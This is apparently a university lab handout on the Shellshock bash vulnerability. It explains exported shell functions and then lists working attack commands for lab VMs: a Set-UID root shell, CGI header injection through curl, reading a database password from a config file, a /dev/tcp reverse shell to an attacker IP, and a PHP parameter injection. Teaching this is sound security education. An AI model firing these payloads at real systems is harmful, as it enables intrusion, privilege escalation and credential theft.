### Shellshock Attack
# Based on: # Computer Security: A Hands-on Approach by Wenliang Du
## Preconfigure
# Copy and unzip the Project 4 Zip File to your CY310 folder on your SEEDUbuntu VM.
$ cd ~/Downloads/cy310/
$ ls
# Make sure you can see the shellshock.zip file
$ unzip shellshock.zip
$ cd shellshock
$ ls
## Shell Functions
# A shell program is a command-line interpreter in operating systems. It reads commands from the console or terminal window, and executes them.
# A shell provides an interface between the user and the operating system.
# Different types of shell have been built, including sh, bash, csh, zsh, Windows PowerShell, etc.
# The bash shell is one of the most popular shell programs in the Linux operating system.
# The Shellshock vulnerability in bash involves functions defined inside the shell, which are called shell functions.
# We can define a shell function.
# A defined shell function can be printed using the declare command.
# To use the function, we just need to type the function name in the command line.
# Once a function is not needed, it can be removed using the unset command.
_____________________________________________
## Create a shell function.
foo() { echo “Inside function”; }
declare -f foo
foo
unset -f foo
declare -f foo
_____________________________________________
## Passing a function to the child process.
# The Shellshock vulnerability involves passing a function definition to a child shell process.
# There are two ways for a child shell process to get a function definition from its parent.
# The first method is to simply define a function in the parent shell, export it, and then the child process will have it.
# It should be noted that this method is only applicable if the parent process is also a shell.
# You can use ps -f to check the child process.
_____________________________________________
## Passing a function to the child process
# Method 1:
# 1. Define a shell function in the parent shell process.
# 2. Export it.
# 3. The child process will have it.
echo “$SHLVL”
foo() { echo “hello world”; }
declare -f foo
foo
export -f foo
bash
echo “$SHLVL”
(child):$ declare -f foo
(child):$ foo
(child):$ exit
# You can use echo “$SHLVL” to check the child bash (2)
_____________________________________________
# The second method to pass a shell function to the child shell is to define a shell variable with special contents.
# When a shell variable is marked by the export command, it will be passed down as an environment variable to the child process. If the program executed in the child process is again a bash shell program, the shell program in the child process will convert the environment variable into its shell variables.
# During the conversion, when bash sees an environment variable whose value starts with a pair of parentheses, it converts the variable to a shell function, instead of to a shell variable.
# That is why when we type “echo $foo” in the child, nothing was found, but when we run “declare -f foo”, we see the function definition. This is quite different from the parent process.
______________________________________________
## Passing a function to the child process
# Method 2:
# 1. Define a shell variable (do not require a shell process).
# 2. Export it and the shell variable will be passed down as an environment variable.
# 3. The shell program in the child process will convert the environment variable into its shell variables.
echo “$SHLVL”
# Make sure you can see “1”. If not, run exit command to return to the parent process (1)
foo='() { echo “hello world”; }’
# no space between ‘ and ()
# there is a space between ) and {
# there is a space before and after the echo command in the {}
echo $foo
declare -f foo
export foo
bash_shellshock
# Run bash (vulnerable version) in the child
(child):$ echo $foo
# nothing was found
(child):$ declare -f foo
(child):$ foo
(child):$ exit
______________________________________________
## Environment variable
# Although the two methods for passing function definition to child shell seem to be different, they are actually the same.
# They both use environment variables.
# However, the second method does not require the parent process to be a shell process.
# Any process that needs to pass a function definition to its child bash process just needs to pass the function definition via an environment variable.
# In the Shellshock attack, the parent process can be a web server, which passes several values to its child process, in the form of environment variables.
## The shellshock vulnerability
# The bash program in Ubuntu 16.04 has been patched. We use bash_shellshock for the examples.
# Bash calls the function parse_and_execute() to parse the function definition.
# If the string contains a shell command, the parsing function will execute it. If the string contains two commands, separated by a semicolon (‘;’), the parse_and_execute() function will process both commands.
______________________________________________
## The shellshock vulnerability
# 1. Define a shell function and attach an additional command after the closing curly bracket.
# 2. Exporting to the child process via an environment variable.
# 3. The child shell will parse the environment variable.
# 4. During the passing, due to the Shellshock bug, bash will execute the command after the curly bracket.
echo “$SHLVL”
# Make sure you can see “1”. If not, run exit command to return to the parent process (1)
foo='() { echo “hello world”; }; echo “extra”;’
# no space between ‘ and ()
# there is a space between ) and {
# there is a space before and after the echo command in the {}
echo $foo
export foo
bash_shellshock
# Run bash (vulnerable version)
# You should see “extra”
# The extra command gets executed!
(child):$ echo $foo
# nothing was found
(child):$ declare -f foo
(child):$ exit
______________________________________________
## Shellshock attack on Set-UID programs
# Attackers can set the environment variables for a privileged bash process, so they can exploit the Shellshock vulnerability and run commands with the target process’s privilege. A Set_UID root program will start a bash process when it invokes the system() function; the environment variables set by the attacker will lead to the execution of unauthorized commands.
______________________________________________
## Shellshock attack on Set-UID programs
# /bin/sh is patched and /bin/bash_shellshock is not patched
sudo ln -sf /bin/bash_shellshock /bin/sh
gcc vul.c -o vul
./vul
# seed/seed for vul
sudo chown root vul
sudo chmod 4755 vul
./vul
# root/seed for vul
export foo='() { echo “hello”; }; /bin/sh’
# Attack!
./vul
sh-4.2#
# Got the root shell!
sh-4.2# exit
# Reset /bin/sh
sudo ln -sf /bin/dash /bin/sh
______________________________________________
## Shellshock attack on CGI programs (Optional and highlighted in orange. Excluded from your homework.)
# On your seed VM (In my case: 192.168.1.25)
#Common Gateway Interface or CGI is utilized by web servers to run executable programs that dynamically generate web pages. Many CGI programs are shell scripts; if bash is used, they may be subject to the Shellshcok attack.
sudo cp ~/Downloads/cy310/shellshock/vul.cgi /usr/lib/cgi-bin/
sudo chmod 755 /usr/lib/cgi-bin
sudo chmod 755 /usr/lib/cgi-bin/vul.cgi
# On your ubuntu 18.04 VM (In my case: 192.168.1.15)
# To access this CGI program from the Web, we can either use a browser by typing the following URL: to an external site. or use a program called curl, which is a command-line tool for sending HTTP requests. Using curl, we can send the following HTTP request from the attacker machine to the server’s CGI program.
# How CGI programs are invoked
# HTTP request -> HTTP’s User_Agent header -> Apache Web Server -> fork() -> HTTP_USER_AGENT Environment variable -> Child Process -> exec()
# -> HTTP_USER_AGENT Environment variable -> Bash Shell (Execute CGI Script) -> Shellshock
ping 192.168.1.25
curl -A “() { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l”
curl -e “() { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l”
# Replace 192.168.1.25 with your SEEDUbuntu IP address.
# The User-Agent (-A) and Referer (-e) header fields of a request can be set by the “-A” and “-e” options.
# The /bin/ls command gets executed.
______________________________________________
## Stealing passwords
# On your ubuntu 18.04 VM (In my case: 192.168.1.15)
curl -A “() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php” | grep dbpass
# You should see $CONFIG->dbpass = ‘seedubuntu’;
______________________________________________
## Creating reverse shell
# On your ubuntu 18.04 VM (In my case: 192.168.1.15)
terminal1: nc -lv 9090
# Waiting for reverse shell
terminal2: curl -A “() { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/192.168.1.15/9090 0<&1 2>&1”
# From your terminal1, you should see www-data@VM:/user/lib/cgi-bin$
# Reverse shell is created!
exit
______________________________________________
## Remote attack on PHP
# On your seed VM (In my case: 192.168.1.25)
cd /var/www
sudo echo “This is a secret!” > secret.txt
sudo chmod 755 /var/www/secret.txt
sudo cp ~/Downloads/cy310/shellshock/phptest.php /var/www/html/
sudo chmod 755 /var/www/html/phptest.php
sudo ln -sf /bin/bash_shellshock /bin/sh
# On your ubuntu 18.04 VM (In my case: 192.168.1.15)
curl http://192.168.1.25/phptest.php?arg=”()%20%7B%20echo%20hello;%20%7D;%20/bin/cat%20/var/www/secret.txt”
# You should see “This is a secret!”
# On your seed VM (In my case: 192.168.1.25)
sudo ln -sf /bin/dash /bin/sh
